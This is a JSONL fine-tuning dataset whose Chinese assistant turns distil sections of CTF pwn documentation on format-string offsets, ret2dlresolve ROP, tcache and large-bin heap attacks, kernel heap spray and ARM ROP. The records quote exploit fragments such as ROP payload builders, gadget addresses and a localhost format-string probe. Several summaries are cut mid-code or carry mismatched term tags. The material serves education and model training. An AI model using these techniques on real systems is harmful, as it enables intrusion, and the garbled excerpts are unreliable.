{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e5df2a1416f874fd9c83", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「确定偏移」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > 格式化字符串盲打 > 例子2-盲打劫持got > 确定偏移\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“确定偏移”展开。\n- 在泄露程序之前，我们还是得确定一下格式化字符串的偏移，如下 ``shell ➜ blind_fmt_got git:(master) ✗ nc localhost 9999 aaaaaaaa%p%p%p%p%p%p%p%p%p aaaaaaaa0x7ffdbf920fb00x800x7f3fc9ccd2300x4006b00x7f3fc9fb0ab00x61616161616161610x70257025702570250x70257025702570250xa7025 `` 据此，我们可以知道格式化字符串的...\n\n关键术语：\n- pwn\n- linux\n- user-mode\n- fmtstr\n- code:shell\n\n代码/命令片段线索：\n- shell: 3 行，首行 `➜ blind_fmt_got git:(master) ✗ nc localhost 9999`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 271, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "确定偏移", "heading_path": ["例子", "格式化字符串盲打", "例子2-盲打劫持got", "确定偏移"], "original_id": "docs-0de2de912d0f401f0970", "original_line": 879, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "ebfb14a6f36fc3dd9791b816", "subcategory": "pwn/linux/user-mode", "terms": ["pwn", "linux", "user-mode", "fmtstr", "code:shell"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e60465d41f95729e0d4d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「context.log_level=\"debug\"」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：context.log_level=\"debug\"\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“context.log_level=\"debug\"”展开。\n- context.terminal = [\"tmux\",\"splitw\",\"-h\"] context.arch=\"amd64\" io = process(\"./readable\") rop = ROP(\"./readable\") elf = ELF(\"./readable\")\n- bss_addr = elf.bss() csu_first_addr = 0x40058A csu_second_addr = 0x400570\n- def csu_gadget(rbx, rbp, func_ptr, edi, rsi, rdx): # rdx = r13 # rsi = r14 # rdi = r15d # call [r12+rbx8] # set rbx+1=rbp return flat([csu_first_addr, rbx, rbp, func_ptr, rdx, rsi, edi, csu_second_addr], arch=\"amd64\")+'a' 0x38\n- def read16bytes(targetaddr, content): payload = 'a'*16 payload += p64(targetaddr+0x10) payload += p64(0x400505) payload += content.ljust(16, \"\\x00\") payload += p64(0x600890) payload += p64(0x400505) return payload\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 672, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "context.log_level=\"debug\"", "heading_path": ["context.log_level=\"debug\""], "original_id": "docs-1651cd8055c97559a633", "original_line": 1370, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "fbecdb013749d7db55a94fc9", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e6e6e9de6b0acfdc5a42", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「分析程序」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > hijack GOT > 例子 > 分析程序\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分析程序”展开。\n- 大概浏览一下每个功能的代码，发现在 get 功能中存在格式化字符串漏洞 ``C int get_file() { char dest;\n- 首先分析程序，可以发现程序似乎主要实现了一个需密码登录的 ftp，具有 get，put，dir 三个基本功能。\n- // [sp+10Ch] [bp-Ch]@3 printf(\"enter the file name you want to get:\");\n- strncmp(&s1, \"flag\", 4u) ) puts(\"too young, too simple\");\n- strcmp(i, &s1) ) { strcpy(&dest, i + 0x28);\n\n关键术语：\n- 密码学\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n- code:c\n\n代码/命令片段线索：\n- C: 19 行，首行 `int get_file()`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 541, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "分析程序", "heading_path": ["例子", "hijack GOT", "例子", "分析程序"], "original_id": "docs-93c393437d7bedf2644d", "original_line": 860, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "7ade79a3924e927d37a5058a", "subcategory": "pwn/linux/user-mode", "terms": ["密码学", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr", "code:c"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e70dbad3424e0ff5c8e9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「利用步骤」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`\n标题：tcache makes heap exploitation easy again\n章节：from pwn import * > Challenge 4 : HITCON 2019 one_punch_man > 利用步骤\n路径分类：pwn / pwn/linux/user-mode\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“利用步骤”展开。\n- 下面在调用 calloc 前下断点，可以看到此时 tcache[0x100] 有 6 个堆块，small bin 的分配顺序为 0x000055555555c460->0x55555555cc80->0x000055555555901f ，在 calloc(0xf0) 调用后， 0x000055555555c460 会被返回给用户， 0x55555555cc80 被链入tcache，而由于没有多余位置，跳出循环， 0x000055555555901f 不做处理。\n- ret) ，以便 add 的时候将 rsp 改到可控的输入区域调用 rop chains 来 orw 读取 flag 。\n- 我们选择通过调用后门函数修改 __malloc_hook 为 gadget(mov eax, esi ;\n\n关键术语：\n- UAF\n- 堆\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:bash\n\n代码/命令片段线索：\n- bash: 29 行，首行 `gdb-peda$ heapinfo`\n- bash: 28 行，首行 `gdb-peda$ heapinfo`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 5188, "chunk_count": 2, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "利用步骤", "heading_path": ["from pwn import *", "Challenge 4 : HITCON 2019 one_punch_man", "利用步骤"], "original_id": "docs-94ccbe34b9462738a374", "original_line": 1068, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "source_root": "docs", "source_sha256": "37eb8bd9e0addea4340fa8d86115193239ec930263e815b614220939fd397eaa", "split": "train", "split_group_key": "776e614566a1a2deaca3cd80", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "堆", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:bash"], "title": "tcache makes heap exploitation easy again"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e789261772e16e127468", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md` 中的章节「Step.II - UAF 泄露可控堆对象地址，篡改 pipe\\_buffer 劫持控制流」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md`\n标题：Heap Spray\n章节：Heap Spray > 例题：RWCTF2023体验赛 - Digging into kernel 3 > 漏洞利用 > Step.II - UAF 泄露可控堆对象地址，篡改 pipe\\_buffer 劫持控制流\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Step.II - UAF 泄露可控堆对象地址，篡改 pipe\\_buffer 劫持控制流”展开。\n- 可以用来控制内核执行流的结构体有很多，但是我们需要考虑如何完整地执行 commit_creds(prepare_kernel_cred(NULL)) 后再成功返回用户态，因此我们需要进行栈迁移以布置较为完整的 ROP gadget chain。\n- ` 那么这里我们可以利用 UAF 使得 user_key_payload 与 pipe_inode_info 占据同一个 object， pipe_inode_info 刚好会将 user_key_payload->datalen 改为 0xFFFF 使得我们能够继续读取数据，从而读取 pipe_inode_info 以泄露出 pipe_buffer 的地址。\n- 而 pipe_buffer 是动态分配的，因此我们可以利用题目功能预先分配一个对象作为 pipe_buffer` 并直接在其上伪造函数表即可。\n- > 对于笔者来说比较麻烦的倒是找栈迁移的 gadget...好在最后还是成功找到了一些合适的 gadget。\n- wait_queue_head_t rd_wait, wr_wait;\n\n关键术语：\n- UAF\n- 堆\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 25 行，首行 `struct pipe_inode_info {`\n- c: 7 行，首行 `struct pipe_buffer {`\n- c: 7 行，首行 `struct pipe_buf_operations {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1897, "chunk_count": 1, "chunk_index": 0, "ctf_score": 34, "ctf_task_type": "pwn", "heading": "Step.II - UAF 泄露可控堆对象地址，篡改 pipe\\_buffer 劫持控制流", "heading_path": ["Heap Spray", "例题：RWCTF2023体验赛 - Digging into kernel 3", "漏洞利用", "Step.II - UAF 泄露可控堆对象地址，篡改 pipe\\_buffer 劫持控制流"], "original_id": "docs-c126070d4bbe6dd469c4", "original_line": 769, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/spray.md", "source_root": "docs", "source_sha256": "2ae680126839cc9344bcfca380d500d735c945fde26f1a88b9e25d41a3e55a18", "split": "train", "split_group_key": "70e64801e8be6cf55bb966db", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "Heap Spray"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/spray.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e7cd72994110883445c8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-intro.md` 中的章节「格式化字符串函数介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-intro.md`\n标题：原理介绍\n章节：原理介绍 > 格式化字符串函数介绍\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“格式化字符串函数介绍”展开。\n- 几乎所有的C/C++程序都会利用格式化字符串函数来输出信息，调试程序，或者处理字符串。\n- 一般来说，格式化字符串在利用的时候主要分为三个部分 - 格式化字符串函数 - 格式化字符串 - 后续参数，可选 这里我们给出一个简单的例子，其实相信大多数人都接触过printf函数之类的。\n- 格式化字符串函数可以接受可变数量的参数，并将第一个参数作为格式化字符串，根据其来解析之后的参数。\n- 通俗来说，格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。\n- [图片文件: ./figure/printf.png]\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 285, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "格式化字符串函数介绍", "heading_path": ["原理介绍", "格式化字符串函数介绍"], "original_id": "docs-ce108d63621f32bfa2a5", "original_line": 897, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-intro.md", "source_root": "docs", "source_sha256": "8516996b24e38500e18a7d976758f906dafa9808d78bd95a8b5220f77d0d21b8", "split": "train", "split_group_key": "ee473a79223ea5eae9e7d8e8", "subcategory": "pwn/linux/user-mode", "terms": ["漏洞利用", "pwn", "linux", "user-mode", "fmtstr"], "title": "原理介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-intro.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e7d1d012fb25b2866048", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/basic-knowledge.md` 中的章节「Loadable Kernel Modules(LKMs)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/basic-knowledge.md`\n标题：基础知识\n章节：基础知识 > Loadable Kernel Modules(LKMs)\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Loadable Kernel Modules(LKMs)”展开。\n- 常见的 LKMs 包括： - 驱动程序（Device drivers） - 设备驱动 - 文件系统驱动 - ... - 内核扩展模块 (modules) LKMs 的文件格式和用户态的可执行程序相同，Linux 下为 ELF，Windows 下为 exe/dll，mac 下为 MACH-O，因此我们可以用 IDA 等工具来分析内核模块。\n- Linux Kernel采用的是宏内核架构，一切的系统服务都需要由内核来提供，虽然效率较高，但是缺乏可扩展性与可维护性，同时内核需要装载很多可能用到的服务，但这些服务最终可能未必会用到，还会占据大量内存空间，同时新服务的提供往往意味着要重新编译整个内核。\n- 综合以上考虑，可装载内核模块（Loadable Kernel Modules，简称LKMs）出现了，位于内核空间的LKMs可以提供新的系统调用或其他服务，同时LKMs可以像积木一样被装载入内核/从内核中卸载，大大提高了kernel的可拓展性与可维护性。\n- > Linux 内核之所以提供模块机制，是因为它本身是一个单内核 (monolithic kernel)。\n- 它在运行时被链接到内核作为内核的一部分在内核空间运行，这与运行在用户控件的进程不同。\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- basic-knowledge.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 645, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "Loadable Kernel Modules(LKMs)", "heading_path": ["基础知识", "Loadable Kernel Modules(LKMs)"], "original_id": "docs-08a3e35a4d3ac24b4e5c", "original_line": 34, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "source_root": "docs", "source_sha256": "103d18a2b1d91a49bd2c2a041ed56ddd9dc84d20450319eb6f4ff9118cc83e6d", "split": "train", "split_group_key": "5c248e3808e224ae9133fa09", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "basic-knowledge.md"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e9131bc11799082351b0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack.md` 中的章节「通过实例学习 large bin attack 的原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack.md`\n标题：Large Bin Attack\n章节：Large Bin Attack > 通过实例学习 large bin attack 的原理\n路径分类：pwn / pwn/linux/user-mode\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“通过实例学习 large bin attack 的原理”展开。\n- 这里我们拿 how2heap 中的 large bin attack 中的源码来分析 ``c // 主要漏洞在这里 / This technique is taken from https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/ [...] else { victim->fd_nextsize = fwd;\n- fprintf(stderr, \"Let's malloc again, so the freed third large chunk being inserted into the large bin freelist.\" \" During this time, targets should have already been rewritten:\\n\");\n- 一定要用 glibc2.25 的 loader，改变 loader 的方法可以看这里：https://www.jianshu.com/p/1a966b62b3d4 pwngdb 走起，开始我们的分析之旅： [图片文件: ./figure/large_bin_attack/large_bin_attack1.png] 先跳到这个语句：（比 how2heap 源文件多添加了一个 p4 变量） [图片文件: ./figure/large_bin_attack/large_bin_attack2.png] 由于刚 f...\n- fprintf(stderr, \"In practice, large bin attack is generally prepared for further attacks, such as rewriting the \" \"global variable global_max_fast in libc for further fastbin attack\\n\\n\");\n- fprintf(stderr, \"Let's first look at the targets we want to rewrite on stack:\\n\");\n\n关键术语：\n- 堆\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 85 行，首行 `// 主要漏洞在这里`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 5094, "chunk_count": 2, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "通过实例学习 large bin attack 的原理", "heading_path": ["Large Bin Attack", "通过实例学习 large bin attack 的原理"], "original_id": "docs-c81febe3a0e4e794267f", "original_line": 50, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack.md", "source_root": "docs", "source_sha256": "a3874f938d038db562e482946f7acdbd2a42c9b39aa915aa7a16ac6ce9d37207", "split": "train", "split_group_key": "f3a8563a017a64ab9700f17c", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "Large Bin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e9829cc4afed0ca0d1b8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「construct fake stack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：construct fake stack\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“construct fake stack”展开。\n- rop.raw(0) rop.raw(0) rop.raw(0x0000000000400773) # pop rdi;\n- ret rop.raw(0x600B30+len(dynstr)) rop.raw(0x400516) # the second instruction of read@plt rop.raw(0xdeadbeef)\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 654, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "construct fake stack", "heading_path": ["construct fake stack"], "original_id": "docs-f0057613a5d7b9d17fb0", "original_line": 1343, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "d8c02fcea98e70a09edeb2b5", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e9ad9c143c014cd3c8ae", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「update-2」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`\n标题：Unsorted Bin Attack\n章节：in order not to merge into top chunk > 2016 0CTF zerostorage-待完成 > 基本功能分析 > update-2\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“update-2”展开。\n- 3. 读取更新后storage 元素所需要存储内容的长度。\n- 2. 读入要更新的storage元素的id，如果id大于31或者目前处于不处于使用状态，说明不对，直接返回。\n- 4. 根据 bss 段对应的随机数获取原先storage 存储内容的地址， 5. 如果更新后所需的长度不等于更新前的长度，就使用realloc为其重新分配内存。\n- 否则如果申请的字节数小于128，那就设置为128；\n- 否则，如果申请的字节数不大于4096，那就设置为对应的数值；\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 310, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "update-2", "heading_path": ["in order not to merge into top chunk", "2016 0CTF zerostorage-待完成", "基本功能分析", "update-2"], "original_id": "docs-c5aca95d1b01fedf0953", "original_line": 1113, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "source_root": "docs", "source_sha256": "c2ba53ae053f8100dfd6c9f4174e9fdafca0b7e6ad07e6279865c89a5f082052", "split": "train", "split_group_key": "44367ed0dc184b027e4ad14e", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Unsorted Bin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e9f810d7d1d499fabc79", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/arm/rop.md` 中的章节「确定保护」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/arm/rop.md`\n标题：Arm ROP\n章节：Arm ROP > jarvisoj - typo > 确定保护\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“确定保护”展开。\n- 静态链接说明我们可以在 binary 里找到 system 等危险函数和 \"/bin/sh\" 等敏感字符串，因为又是 No PIE， 所以我们只需要栈溢出就能构造 ropchain 来 get shell\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:bash\n\n代码/命令片段线索：\n- bash: 8 行，首行 `jarvisOJ_typo [master●●] check ./typo`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 500, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, 